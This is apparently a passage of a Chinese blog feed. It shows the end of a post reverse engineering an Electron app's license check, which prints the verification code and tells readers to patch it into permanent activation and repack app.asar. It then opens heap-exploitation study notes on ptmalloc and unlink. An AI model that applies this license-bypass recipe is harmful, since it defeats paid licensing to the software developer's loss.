&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;60&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_90_day&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;90&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_120_day&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;120&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 除非是30天复购版, 否则不会到 default 这里
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 这个复购版我们在后面单独处理
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 如果已过期
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;now_is_after_ordertime_plus_day&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;				) {
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expired&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_message &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;$t&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;plan.license_expired&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {
&lt;&#x2F;span&gt;&lt;span&gt;						date: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time_readable&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;						day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;						expired_date: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;get_expired_datetime&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;							&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;							&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days
&lt;&#x2F;span&gt;&lt;span&gt;						).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YYYY-MM-DD HH:mm:ss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;					});
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_free&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;remove_license_code&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_order_type&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;`${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;}天`&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_expire_time&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_limited&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_license_code&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_id&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;				}
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 30天可复购版
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;urlkey &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_30_day_repeat&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;success&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re_exists &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;undefined&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 这个 re 字段代表是复购的，里面有复购的信息
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_order_type&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;30天 (可复购)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 显示给用户看的
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_limited&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_license_code&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_id&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 如果是复购的，过期时间和购买时间从 re 里面拿
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re_exists&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_at&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_expire_time_by_timestamp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_timestamp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ordertime&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_pay_time&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_timestamp&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;					} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_expire_time_by_timestamp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_at&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;					}
&lt;&#x2F;span&gt;&lt;span&gt;				} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expired&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re_exists&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;re&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_at&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;						&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_at&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expired_date &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;moment
&lt;&#x2F;span&gt;&lt;span&gt;						.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;unix&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_timestamp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;						.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YYYY-MM-DD HH:mm:ss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expire_message &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;$t&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;plan.license_expired_just_date&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {
&lt;&#x2F;span&gt;&lt;span&gt;						expired_date: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;expired_date
&lt;&#x2F;span&gt;&lt;span&gt;					});
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_free&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;remove_license_code&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				}
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;		},
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是完整的校验逻辑，直接把这个改掉(改那个打包过的文件)，换成永久激活的逻辑就行了。再用&lt;code&gt;asar&lt;&#x2F;code&gt;重新打包一份，替换原来的&lt;code&gt;app.asar&lt;&#x2F;code&gt;就完成了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ta&quot;&gt;其它&lt;&#x2F;h1&gt;
&lt;p&gt;逆向过程中还搜到了一个恢复chrome生成的pak文件的工具&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;myfreeer&#x2F;chrome-pak-customizer&quot;&gt;chrome-pak-customizer&lt;&#x2F;a&gt;，这里也记录一下。&lt;&#x2F;p&gt;
&lt;p&gt;如有侵权，联系删除。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>ptmalloc学习笔记</title>
        <published>2020-12-07T00:00:00+00:00</published>
        <updated>2020-12-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/ptmalloc-study/"/>
        <id>https://richar.top/ptmalloc-study/</id>
        
        <content type="html" xml:base="https://richar.top/ptmalloc-study/">&lt;p&gt;最近在学习pwn中的堆利用，因此来系统的学习一下ptmalloc的机制。主要看的是Glibc内存管理--ptmalloc2源代码分析。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;malloc&quot;&gt;malloc&lt;&#x2F;h1&gt;
&lt;p&gt;这是照着书上画的流程图，可以快速了解malloc的整体逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;ptmalloc-study&#x2F;.&#x2F;malloc.svg&quot; alt=&quot;malloc流程图&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;free&quot;&gt;free&lt;&#x2F;h1&gt;
&lt;p&gt;同样是流程图:
&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;ptmalloc-study&#x2F;.&#x2F;free.svg&quot; alt=&quot;free流程图&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;unlink&quot;&gt;unlink&lt;&#x2F;h1&gt;
&lt;p&gt;其它漏洞配合上unlink可以达到任意地址写的效果。&lt;&#x2F;p&gt;
